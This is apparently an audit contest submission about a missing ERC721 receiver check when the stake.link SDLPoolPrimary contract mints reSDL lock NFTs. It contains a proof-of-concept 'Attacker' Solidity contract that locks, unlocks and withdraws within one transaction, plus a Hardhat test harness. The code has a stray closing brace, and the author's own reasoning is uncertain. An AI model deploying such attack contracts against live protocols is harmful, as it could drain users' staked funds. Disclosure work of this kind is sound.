Submission Details
Severity:
Minted ReSDL NFT may lost cause of no IERC721receiver check
Summary
Minted ReSDL NFT may lost cause of no IERC721receiver check
Vulnerability Details
As the code snippet can be observed
emit Transfer(address(0), _owner, lockId);
This is the event being fired when the minting process is completed while there's no check existed for the owner if it's contract or not.And msg.sender as owner being used as access control in many function.While transferFrom checks the target account if it's contract or not ,minting process doesnt check it.
POC
Click to see Attack contract
// SPDX-License-Identifier: MIT
import{IERC677Receiver} from "../core/interfaces/IERC677Receiver.sol";
import{IERC721Receiver} from "../core/interfaces/IERC721Receiver.sol";
import{IERC677} from "../core/interfaces/IERC677.sol";
import{SDLPoolPrimary} from "../core/sdlPool/SDLPoolPrimary.sol";
interface IRESDLTokenBridge{
function transferRESDL(
uint64 _destinationChainSelector,
address _receiver,
uint256 _tokenId,
bool _payNative,
uint256 _maxLINKFee
) external payable returns (bytes32 messageId);
}
contract Attacker is IERC677Receiver{
struct Data {
address operator;
address from;
uint256 tokenId;
bytes data;
}
SDLPoolPrimary public sdlPool;
IRESDLTokenBridge public tokenBridge;
IERC677 public sdlToken;
uint256 public latestLockId;
uint256 public totalRewards;
Data[] private data;
bool public received;
constructor(address _sdlPool,address _tokenBridge,address _sdlToken)payable{
sdlPool=SDLPoolPrimary(_sdlPool);
tokenBridge=IRESDLTokenBridge(_tokenBridge);
sdlToken=IERC677(_sdlToken);
}
function getData() external view returns (Data[] memory) {
return data;
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
data.push(Data(_operator, _from, _tokenId, _data));
received=true;
return this.onERC721Received.selector;
}
//@audit in all 1 transaction u can lock-initiateunlock-withdraw thanks to
//@audit rounddown to zero...
function attackTransfernCall() public payable{
sdlToken.transferAndCall(address(sdlPool),200 ether ,abi.encode(uint256(0), uint64(1)));
sdlPool.initiateUnlock(getLockId());
sdlPool.withdraw(getLockId(),200 ether);
}
function attackCcipTransfer() public payable{
tokenBridge.transferRESDL{value:15 ether}(77,address(this),getLockId(),true,15 ether);
}
function onTokenTransfer(
address,
uint256 _value,
bytes calldata
) external virtual {
totalRewards += _value;
}
function getLockId()public view returns(uint256){
uint256[] memory lockIDs= new uint256[](1);
lockIDs=sdlPool.getLockIdsByOwner(address(this));
return lockIDs[0];
}
receive() external payable{
}
}
}
test case for hardhat(same test suit provided by Protocol)
run with
npx hardhat test --network hardhat --grep 'usage of Attack contract and receiving NFT'
Click to see Test suit!
import { Signer } from 'ethers'
import { assert, expect } from 'chai'
import {
toEther,
deploy,
getAccounts,
setupToken,
fromEther,
deployUpgradeable,
} from '../../utils/helpers'
import {
ERC677,
LinearBoostController,
RewardsPool,
SDLPoolPrimary,
StakingAllowance,
Attacker
} from '../../../typechain-types'
import { ethers } from 'hardhat'
import { time } from '@nomicfoundation/hardhat-network-helpers'
//1 day in seconds...
const DAY = 86400
// parsing Lock struct in contracts...
const parseLocks = (locks: any) =>
locks.map((l: any) => ({
amount: fromEther(l.amount),
//show 4 digits after decimal...
boostAmount: Number(fromEther(l.boostAmount).toFixed(10)),
startTime: l.startTime.toNumber(),
duration: l.duration.toNumber(),
expiry: l.expiry.toNumber(),
}))
const parseData=(data:any)=>({
operator:data.operator,
from:data.from,
tokenId:data.tokenId,
data: Buffer.from(data.data.slice(2), 'hex').toString('utf8')
})
describe('SDLPoolPrimary', () => {
let sdlToken: StakingAllowance
let rewardToken: ERC677
let rewardsPool: RewardsPool
let boostController: LinearBoostController
let sdlPool: SDLPoolPrimary
let signers: Signer[]
let accounts: string[]
let attacker:Attacker
before(async () => {
;({ signers, accounts } = await getAccounts())
})
beforeEach(async () => {
sdlToken = (await deploy('StakingAllowance', ['stake.link', 'SDL'])) as StakingAllowance
rewardToken = (await deploy('ERC677', ['Chainlink', 'LINK', 1000000000])) as ERC677
await sdlToken.mint(accounts[0], toEther(1000000))
await setupToken(sdlToken, accounts)
boostController = (await deploy('LinearBoostController', [
4 * 365 * DAY,
4,
])) as LinearBoostController
sdlPool = (await deployUpgradeable('SDLPoolPrimary', [
'Reward Escrowed SDL',
'reSDL',
sdlToken.address,
boostController.address,
])) as SDLPoolPrimary
rewardsPool = (await deploy('RewardsPool', [
sdlPool.address,
rewardToken.address,
])) as RewardsPool
await sdlPool.addToken(rewardToken.address, rewardsPool.address)
await sdlPool.setCCIPController(accounts[0])
//attack contract deployment -- setting bridge contract to same we wont need ccip here
attacker=await deploy("Attacker",[sdlPool.address,sdlPool.address,sdlToken.address]) as Attacker
await sdlToken.transfer(attacker.address,toEther(20000))
const sender = signers[0] // or choose any unlocked account
const valueToSend = ethers.utils.parseEther("100") // Amount of Ether to send
const tx = await sender.sendTransaction({
to: attacker.address,
value: valueToSend,
});
await tx.wait();
console.log("Funded contract!");
})
it('should be able to lock an existing stake', async () => {
//with flashloan this may prove fatal...
await sdlToken.transferAndCall(
sdlPool.address,
toEther(10000),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])
)
await sdlPool.extendLockDuration(1, 365 * DAY)
let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp
assert.equal(fromEther(await sdlPool.totalEffectiveBalance()), 200)
assert.equal(fromEther(await sdlPool.totalStaked()), 200)
assert.equal(fromEther(await sdlPool.effectiveBalanceOf(accounts[0])), 200)
assert.equal(fromEther(await sdlPool.staked(accounts[0])), 200)
assert.deepEqual(parseLocks(await sdlPool.getLocks([1])), [
{ amount: 100, boostAmount: 100, startTime: ts, duration: 365 * DAY, expiry: 0 },
])
// Move one block forward
//await ethers.provider.send('evm_mine', []);
//console.log("Parsed lock :",parseLocks(await sdlPool.getLocks([1])))
})
//@audit NFT onERC721receiver doesnt work it seems..
it('usage of Attack contract and receiving NFT', async () => {
console.log("Block-number before tx:",await ethers.provider.getBlockNumber())
let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp
// Move one block forward
await ethers.provider.send('evm_mine', [ts+1]);
console.log("SDLToken balance Before:",await sdlToken.balanceOf(attacker.address))
await attacker.attackTransfernCall()
console.log("Lock",parseLocks(await sdlPool.getLocks([1])))
console.log("Block-number after tx:",await ethers.provider.getBlockNumber())
console.log("Nft received ??:",await attacker.received());
})
})
Impact
Loss of staked lock cause there's no implementation on target contract and sdlPoolPrimary minting the lock anyways...
Tools Used
Hardhat-manuel review
Recommendations
implementing IERC721receiver check in minting process.
Updates
Prize pool breakdown
Total prize
27,500 USDC
nSLOC
1,41419 USDC / LOC
25,000 USDC
2,500 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.